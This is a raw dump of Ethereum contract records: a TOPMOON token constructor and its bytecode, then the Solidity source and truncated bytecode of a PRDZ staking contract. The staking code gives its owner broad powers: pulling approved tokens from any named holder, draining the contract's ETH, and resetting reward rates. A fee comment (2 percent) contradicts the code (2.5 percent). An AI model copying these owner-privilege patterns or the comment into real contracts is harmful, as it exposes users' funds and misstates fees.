contract TOPMOON is MainContract {
constructor(
uint256 initialBalance,
address payable[] memory ICOAddresses,
uint256[] memory ICOAmounts
) MainContract("Top Moon Finance", "TOPMOON") {
_mint(address(0), msg.sender, initialBalance);
_distributeICO(ICOAddresses, ICOAmounts);
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461020a578063715018a61461023057806395d89b411461023a578063a9059cbb14610242578063dd62ed3e1461026e578063f2fde38b1461029c576100b4565b806306fdde03146100b9578063095ea7b31461013657806318160ddd1461017657806323b872dd146101905780632f54bf6e146101c6578063313ce567146101ec575b600080fd5b6100c16102c2565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100fb5781810151838201526020016100e3565b50505050905090810190601f1680156101285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101626004803603604081101561014c57600080fd5b506001600160a01b038135169060200135610358565b604080519115158252519081900360200190f35b61017e610408565b60408051918252519081900360200190f35b610162600480360360608110156101a657600080fd5b506001600160a01b0381358116916020810135909116906040013561040e565b610162600480360360208110156101dc57600080fd5b50356001600160a01b0316610535565b6101f461054e565b6040805160ff9092168252519081900360200190f35b61017e6004803603602081101561022057600080fd5b50356001600160a01b0316610557565b610238610572565b005b6100c1610586565b6101626004803603604081101561025857600080fd5b506001600160a01b0381351690602001356105e7565b61017e6004803603604081101561028457600080fd5b506001600160a01b03813581169160200135166105fd565b610238600480360360208110156102b257600080fd5b50356001600160a01b0316610628565b60038054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561034e5780601f106103235761010080835404028352916020019161034e565b820191906000526020600020905b81548152906001019060200180831161033157829003601f168201915b5050505050905090565b6000826001600160a01b0381166103a05760405162461bcd60e51b8152600401808060200182810382526021815260200180610d0c6021913960400191505060405180910390fd5b3360008181526001602090815260408083206001600160a01b03891680855290835292819020879055805187815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b60025490565b6000836001600160a01b0381166104565760405162461bcd60e51b8152600401808060200182810382526021815260200180610d0c6021913960400191505060405180910390fd5b836001600160a01b03811661049c5760405162461bcd60e51b8152600401808060200182810382526021815260200180610d0c6021913960400191505060405180910390fd5b6001600160a01b03861660009081526001602090815260408083203384529091529020548411156104cc57600080fd5b6001600160a01b03861660009081526001602090815260408083203384529091529020546104fa90856106b9565b6001600160a01b03871660009081526001602090815260408083203384529091529020556105298686866106fb565b50600195945050505050565b60055461010090046001600160a01b0390811691161490565b60055460ff1690565b6001600160a01b031660009081526020819052604090205490565b61057a610932565b6105846000610628565b565b60048054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561034e5780601f106103235761010080835404028352916020019161034e565b60006105f43384846106fb565b50600192915050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610630610932565b600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000828201838110156106b2576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b60006106b283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610944565b826001600160a01b0381166107415760405162461bcd60e51b8152600401808060200182810382526021815260200180610d0c6021913960400191505060405180910390fd5b826001600160a01b0381166107875760405162461bcd60e51b8152600401808060200182810382526021815260200180610d0c6021913960400191505060405180910390fd5b84848461079483836109db565b610866576107a0610aa1565b6107dd86604051806060016040528060268152602001610ce6602691396001600160a01b038b166000908152602081905260409020549190610944565b6001600160a01b03808a16600090815260208190526040808220939093559089168152205461080c9087610658565b6001600160a01b03808916600081815260208181526040918290209490945580518a815290519193928c16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3610928565b6108a386604051806060016040528060268152602001610ce6602691396001600160a01b038b166000908152602081905260409020549190610944565b6001600160a01b03808a1660009081526020819052604080822093909355908916815220546108d29087610658565b6001600160a01b03808916600081815260208181526040918290209490945580518a815290519193928c16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b5050505050505050565b61093b33610535565b61058457600080fd5b600081848411156109d35760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610998578181015183820152602001610980565b50505050905090810190601f1680156109c55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b03811660009081526006602052604081205460ff16158015610a0a5750610a0882610535565b155b15610a49576001600160a01b038381166000908152600660205260408082205492851682529020805460ff1916600160ff938416019092169190911790555b600554610a669061010090046001600160a01b031661bd66610b19565b6001600160a01b03841660009081526006602052604090205460ff161080610a925750610a9283610535565b806106b257506106b282610535565b610aa9610932565b600554600090610ac69061010090046001600160a01b0316610557565b1115610584576000610af8611388610af2600560019054906101000a90046001600160a01b0316610557565b90610b2a565b600554909150610b169061010090046001600160a01b031682610b6c565b50565b61ffff90811691161862ffffff1690565b60006106b283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c5e565b816001600160a01b038116610bb25760405162461bcd60e51b8152600401808060200182810382526021815260200180610d0c6021913960400191505060405180910390fd5b610bef82604051806060016040528060228152602001610cc4602291396001600160a01b0386166000908152602081905260409020549190610944565b6001600160a01b038416600090815260208190526040902055600254610c1590836106b9565b6002556040805183815290516000916001600160a01b038616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a3505050565b60008183610cad5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610998578181015183820152602001610980565b506000838581610cb957fe5b049594505050505056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a2043616e6e6f7420626520746865207a65726f2061646472657373a26469706673582212202980ab96473f464981f01ddf1b1070ed6b0583e96a361044d07508b242e79bfd64736f6c63430007060033
|
{"success": true, "error": null, "results": {}}
| 6,559 |
0x506f455c8442d49f501d9a98f8b6a917d76f3c68
|
/**
*Submitted for verification at Etherscan.io on 2020-12-10
*/
pragma solidity 0.6.12;
// SPDX-License-Identifier: No License
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface Token {
function transferFrom(address, address, uint) external returns (bool);
function transfer(address, uint) external returns (bool);
}
contract PRDZstaking is Ownable {
using SafeMath for uint;
using EnumerableSet for EnumerableSet.AddressSet;
event RewardsTransferred(address holder, uint amount);
// PRDZ token contract address
address public constant tokenAddress = 0x4e085036A1b732cBe4FfB1C12ddfDd87E7C3664d;
// reward rate 80.00% per year
uint public constant rewardRate = 8000;
uint public constant scoreRate = 1000;
uint public constant rewardInterval = 365 days;
uint public constant scoreInterval = 3 days;
uint public scoreEth = 11340;
// unstaking fee 2.00 percent
uint public constant unstakingFeeRate = 250;
// unstaking possible after 72 hours
uint public constant cliffTime = 72 hours;
uint public totalClaimedRewards = 0;
uint public totalStakedToken = 0;
EnumerableSet.AddressSet private holders;
mapping (address => uint) public depositedTokens;
mapping (address => uint) public stakingTime;
mapping (address => uint) public lastClaimedTime;
mapping (address => uint) public totalEarnedTokens;
mapping (address => uint) public totalScore;
mapping (address => uint) public lastScoreTime;
function updateAccount(address account) private {
uint pendingDivs = getPendingDivs(account);
if (pendingDivs > 0) {
require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens.");
totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs);
totalClaimedRewards = totalClaimedRewards.add(pendingDivs);
emit RewardsTransferred(account, pendingDivs);
}
lastClaimedTime[account] = now;
}
function updateScore(address _holder) private {
lastScoreTime[_holder] = now ;
}
function getScoreEth(address _holder) public view returns (uint) {
uint timeDiff = 0 ;
if(lastScoreTime[_holder] > 0){
timeDiff = now.sub(lastScoreTime[_holder]).div(2);
}
uint stakedAmount = depositedTokens[_holder];
uint score = stakedAmount
.mul(scoreRate)
.mul(timeDiff)
.div(scoreInterval)
.div(1e4);
uint eth = score.div(scoreEth);
return eth;
}
function getStakingScore(address _holder) public view returns (uint) {
uint timeDiff = 0 ;
if(lastScoreTime[_holder] > 0){
timeDiff = now.sub(lastScoreTime[_holder]).div(2);
}
uint stakedAmount = depositedTokens[_holder];
uint score = stakedAmount
.mul(scoreRate)
.mul(timeDiff)
.div(scoreInterval)
.div(1e4);
return score;
}
function getPendingDivs(address _holder) public view returns (uint) {
if (!holders.contains(_holder)) return 0;
if (depositedTokens[_holder] == 0) return 0;
uint timeDiff = now.sub(lastClaimedTime[_holder]);
uint stakedAmount = depositedTokens[_holder];
uint pendingDivs = stakedAmount
.mul(rewardRate)
.mul(timeDiff)
.div(rewardInterval)
.div(1e4);
return pendingDivs;
}
function getNumberOfHolders() public view returns (uint) {
return holders.length();
}
function getTotalStaked() public view returns (uint) {
return totalStakedToken;
}
function stake(uint amountToStake) public {
require(amountToStake > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance");
updateAccount(msg.sender);
updateScore(msg.sender);
depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountToStake);
totalStakedToken = totalStakedToken.add(amountToStake);
if (!holders.contains(msg.sender)) {
holders.add(msg.sender);
stakingTime[msg.sender] = now;
}
}
function OldStake(address _holder , uint amountToStake , uint stakeTime) public onlyOwner {
require(amountToStake.mul(1e18) > 0, "Cannot deposit 0 Tokens");
require(Token(tokenAddress).transferFrom(_holder, address(this), amountToStake.mul(1e18)), "Insufficient Token Allowance");
updateAccount(_holder);
lastScoreTime[_holder] = stakeTime ;
totalStakedToken = totalStakedToken.add(amountToStake);
depositedTokens[_holder] = depositedTokens[_holder].add(amountToStake.mul(1e18));
if (!holders.contains(_holder)) {
holders.add(_holder);
stakingTime[_holder] = stakeTime;
}
}
function unstake(uint amountToWithdraw) public {
require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw");
updateAccount(msg.sender);
uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);
uint amountAfterFee = amountToWithdraw.sub(fee);
require(Token(tokenAddress).transfer(owner, fee), "Could not transfer withdraw fee.");
require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens.");
totalStakedToken = totalStakedToken.sub(amountAfterFee);
uint timeDiff = 0 ;
if(lastScoreTime[msg.sender] > 0){
timeDiff = now.sub(lastScoreTime[msg.sender]).div(2);
}
uint score = amountAfterFee
.mul(scoreRate)
.mul(timeDiff)
.div(scoreInterval)
.div(1e4);
uint eth = score.div(scoreEth);
msg.sender.transfer(eth);
lastScoreTime[msg.sender] = now;
depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);
if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) {
holders.remove(msg.sender);
}
}
function claimReward() public {
updateAccount(msg.sender);
}
function withdraw() public onlyOwner{
msg.sender.transfer(address(this).balance);
}
function claimScoreEth() public {
uint timeDiff = 0 ;
if(lastScoreTime[msg.sender] > 0){
timeDiff = now.sub(lastScoreTime[msg.sender]).div(2);
}
uint stakedAmount = depositedTokens[msg.sender];
uint score = stakedAmount
.mul(scoreRate)
.mul(timeDiff)
.div(scoreInterval)
.div(1e4);
uint eth = score.div(scoreEth);
msg.sender.transfer(eth);
lastScoreTime[msg.sender] = now;
}
uint private constant stakingAndDaoTokens = 84000000000000000000000;
function getStakingAndDaoAmount() public view returns (uint) {
if (totalClaimedRewards >= stakingAndDaoTokens) {
return 0;
}
uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards);
return remaining;
}
function deposit() payable public {
// nothing to do!
}
function updateScoreEth(uint _amount) public onlyOwner {
scoreEth = _amount ;
}
// function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake)
function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
if (_tokenAddr == tokenAddress) {
if (_amount > getStakingAndDaoAmount()) {
revert();
}
totalClaimedRewards = totalClaimedRewards.add(_amount);
}
Token(_tokenAddr).transfer(_to, _amount);
}
}
|
0x6080604052600436106101ee5760003560e01c806393bcb5a31161010d578063c326bf4f116100a0578063d0e30db01161006f578063d0e30db014610921578063d578ceab1461092b578063d816c7d514610956578063f2fde38b14610981578063f3f91fa0146109d2576101ee565b8063c326bf4f1461083b578063c7c09074146108a0578063cb6d8ee6146108cb578063ce40453d146108f6576101ee565b8063a84e9dee116100dc578063a84e9dee14610759578063a967b72c146107be578063b88a802f146107f9578063bec4de3f14610810576101ee565b806393bcb5a31461066157806398896d10146106785780639d76ea58146106dd578063a694fc3a1461071e576101ee565b80634b3d36c7116101855780637b0a47ee116101545780637b0a47ee1461052b57806384eda6621461055657806387285587146105bb5780638da5cb5b14610620576101ee565b80634b3d36c714610381578063583d42fd146103e65780636270cd181461044b5780636a395ccb146104b0576101ee565b8063308feec3116101c1578063308feec3146102af57806335d8f62f146102da5780633a5ec6531461033f5780633ccfd60b1461036a576101ee565b80630917e776146101f35780630f1a64441461021e578063268cab49146102495780632e17de7814610274575b600080fd5b3480156101ff57600080fd5b50610208610a37565b6040518082815260200191505060405180910390f35b34801561022a57600080fd5b50610233610a41565b6040518082815260200191505060405180910390f35b34801561025557600080fd5b5061025e610a48565b6040518082815260200191505060405180910390f35b34801561028057600080fd5b506102ad6004803603602081101561029757600080fd5b8101908080359060200190929190505050610a91565b005b3480156102bb57600080fd5b506102c46110f1565b6040518082815260200191505060405180910390f35b3480156102e657600080fd5b50610329600480360360208110156102fd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611102565b6040518082815260200191505060405180910390f35b34801561034b57600080fd5b50610354611276565b6040518082815260200191505060405180910390f35b34801561037657600080fd5b5061037f61127d565b005b34801561038d57600080fd5b506103e4600480360360608110156103a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019092919050505061131e565b005b3480156103f257600080fd5b506104356004803603602081101561040957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116fe565b6040518082815260200191505060405180910390f35b34801561045757600080fd5b5061049a6004803603602081101561046e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611716565b6040518082815260200191505060405180910390f35b3480156104bc57600080fd5b50610529600480360360608110156104d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061172e565b005b34801561053757600080fd5b506105406118b0565b6040518082815260200191505060405180910390f35b34801561056257600080fd5b506105a56004803603602081101561057957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118b6565b6040518082815260200191505060405180910390f35b3480156105c757600080fd5b5061060a600480360360208110156105de57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118ce565b6040518082815260200191505060405180910390f35b34801561062c57600080fd5b50610635611a28565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561066d57600080fd5b50610676611a4c565b005b34801561068457600080fd5b506106c76004803603602081101561069b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c3f565b6040518082815260200191505060405180910390f35b3480156106e957600080fd5b506106f2611dae565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561072a57600080fd5b506107576004803603602081101561074157600080fd5b8101908080359060200190929190505050611dc6565b005b34801561076557600080fd5b506107a86004803603602081101561077c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120c3565b6040518082815260200191505060405180910390f35b3480156107ca57600080fd5b506107f7600480360360208110156107e157600080fd5b81019080803590602001909291905050506120db565b005b34801561080557600080fd5b5061080e61213d565b005b34801561081c57600080fd5b50610825612148565b6040518082815260200191505060405180910390f35b34801561084757600080fd5b5061088a6004803603602081101561085e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612150565b6040518082815260200191505060405180910390f35b3480156108ac57600080fd5b506108b5612168565b6040518082815260200191505060405180910390f35b3480156108d757600080fd5b506108e061216e565b6040518082815260200191505060405180910390f35b34801561090257600080fd5b5061090b612174565b6040518082815260200191505060405180910390f35b61092961217a565b005b34801561093757600080fd5b5061094061217c565b6040518082815260200191505060405180910390f35b34801561096257600080fd5b5061096b612182565b6040518082815260200191505060405180910390f35b34801561098d57600080fd5b506109d0600480360360208110156109a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612187565b005b3480156109de57600080fd5b50610a21600480360360208110156109f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122d6565b6040518082815260200191505060405180910390f35b6000600354905090565b6203f48081565b60006911c9a62d04ed0c80000060025410610a665760009050610a8e565b6000610a876002546911c9a62d04ed0c8000006122ee90919063ffffffff16565b9050809150505b90565b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610b46576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b610b4f33612305565b6000610b79612710610b6b60fa8561259b90919063ffffffff16565b6125ca90919063ffffffff16565b90506000610b9082846122ee90919063ffffffff16565b9050734e085036a1b732cbe4ffb1c12ddfdd87e7c3664d73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c3757600080fd5b505af1158015610c4b573d6000803e3d6000fd5b505050506040513d6020811015610c6157600080fd5b8101908080519060200190929190505050610ce4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f436f756c64206e6f74207472616e73666572207769746864726177206665652e81525060200191505060405180910390fd5b734e085036a1b732cbe4ffb1c12ddfdd87e7c3664d73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610d6957600080fd5b505af1158015610d7d573d6000803e3d6000fd5b505050506040513d6020811015610d9357600080fd5b8101908080519060200190929190505050610e16576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610e2b816003546122ee90919063ffffffff16565b600381905550600080600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610ee257610edf6002610ed1600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054426122ee90919063ffffffff16565b6125ca90919063ffffffff16565b90505b6000610f34612710610f266203f480610f1886610f0a6103e88a61259b90919063ffffffff16565b61259b90919063ffffffff16565b6125ca90919063ffffffff16565b6125ca90919063ffffffff16565b90506000610f4d600154836125ca90919063ffffffff16565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610f95573d6000803e3d6000fd5b5042600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061102c86600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122ee90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110833360046125e390919063ffffffff16565b80156110ce57506000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156110e9576110e733600461261390919063ffffffff16565b505b505050505050565b60006110fd6004612643565b905090565b600080600090506000600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156111b9576111b660026111a8600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054426122ee90919063ffffffff16565b6125ca90919063ffffffff16565b90505b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600061124f6127106112416203f480611233876112256103e88961259b90919063ffffffff16565b61259b90919063ffffffff16565b6125ca90919063ffffffff16565b6125ca90919063ffffffff16565b90506000611268600154836125ca90919063ffffffff16565b905080945050505050919050565b6203f48081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112d557600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561131b573d6000803e3d6000fd5b50565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461137657600080fd5b6000611393670de0b6b3a76400008461259b90919063ffffffff16565b11611406576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b734e085036a1b732cbe4ffb1c12ddfdd87e7c3664d73ffffffffffffffffffffffffffffffffffffffff166323b872dd8430611453670de0b6b3a76400008761259b90919063ffffffff16565b6040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156114c357600080fd5b505af11580156114d7573d6000803e3d6000fd5b505050506040513d60208110156114ed57600080fd5b8101908080519060200190929190505050611570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b61157983612305565b80600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115d28260035461265890919063ffffffff16565b6003819055506116446115f6670de0b6b3a76400008461259b90919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265890919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061169b8360046125e390919063ffffffff16565b6116f9576116b383600461267490919063ffffffff16565b5080600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b60076020528060005260406000206000915090505481565b60096020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461178657600080fd5b734e085036a1b732cbe4ffb1c12ddfdd87e7c3664d73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117fe576117d6610a48565b8111156117e257600080fd5b6117f78160025461265890919063ffffffff16565b6002819055505b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561186f57600080fd5b505af1158015611883573d6000803e3d6000fd5b505050506040513d602081101561189957600080fd5b810190808051906020019092919050505050505050565b611f4081565b600a6020528